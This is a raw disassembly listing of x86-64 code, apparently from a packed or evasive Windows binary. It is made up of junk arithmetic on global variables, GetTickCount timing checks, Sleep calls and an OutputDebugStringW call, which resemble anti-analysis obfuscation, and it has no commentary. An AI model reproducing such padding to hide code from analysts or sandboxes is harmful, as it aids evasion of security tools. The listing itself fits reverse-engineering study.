mov ecx, 0x20
call fcn.004098a0
sub dword [0x005ac690], eax
call sub.kernel32.dll_GetTickCount
sub dword [0x005ac68c], 0x48
call sub.kernel32.dll_GetTickCount
mov ecx, 0x38
call fcn.004098a0
add dword [0x005ac688], eax
mov ecx, 4
call sub.kernel32.dll_Sleep
sub dword [0x005ac694], 0x37
call sub.kernel32.dll_GetTickCount
cmp eax, 0xc1
jne 0x543cf2
mov dword [0x005ac688], 0x1d
mov dword [0x005ac68c], 0x1b
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov dword [0x005ac694], 5
mov ecx, 0x49
call fcn.004098a0
mov dword [0x005ac698], eax
mov ecx, 0x5b
call fcn.004098a0
mov ecx, eax
mov eax, dword [0x005ac68c]
cdq
idiv ecx
mov dword [0x005ac68c], eax
sub dword [0x005ac68c], 0x5d
mov ecx, 0x5a
mov eax, dword [0x005ac690]
cdq
idiv ecx
mov dword [0x005ac690], eax
call sub.kernel32.dll_GetTickCount
call sub.kernel32.dll_GetTickCount
cmp eax, 0x176
jne 0x543dcc
mov ecx, 7
call fcn.004098a0
mov dword [0x005ac688], eax
mov dword [0x005ac68c], 0x42
mov eax, dword [0x005ac688]
add eax, dword [0x005ac68c]
mov dword [0x005ac690], eax
mov ecx, 0x4c
call fcn.004098a0
mov dword [0x005ac694], eax
mov dword [0x005ac698], 0x1a
mov ecx, 0x5b
mov eax, dword [0x005ac698]
cdq
idiv ecx
mov dword [0x005ac698], eax
lea rcx, [0x0057990c]
call sub.kernel32.dll_OutputDebugStringW
mov ecx, 0x13
call fcn.004098a0
mov ecx, eax
mov eax, dword [0x005ac690]
cdq
idiv ecx
mov dword [0x005ac690], eax
mov ecx, 0xb
call fcn.004098a0
add dword [0x005ac68c], eax
mov ecx, 0x31
call fcn.004098a0
sub dword [0x005ac68c], eax
mov ecx, 3
call sub.kernel32.dll_Sleep
mov eax, dword [0x005ac694]
lea rax, [rax + rax*4]
lea rax, [rax + rax*4]
mov dword [0x005ac694], eax
mov ecx, 2
call sub.kernel32.dll_Sleep
lea rcx, [rbp + 0x38]
xor edx, edx
call fcn.00409810
lea rcx, [rbp + 0x40]
mov rdx, qword [rbp + 0x38]
call fcn.0042e890
lea rcx, [rbp + 0x48]
mov rdx, qword [rbp + 0x40]
call fcn.00439d10
lea rcx, [0x005ac6b0]
mov rdx, qword [rbp + 0x48]
xor r8, r8
call fcn.0040fdc0
call sub.kernel32.dll_GetTickCount
cmp eax, 0x152
jne 0x543ec4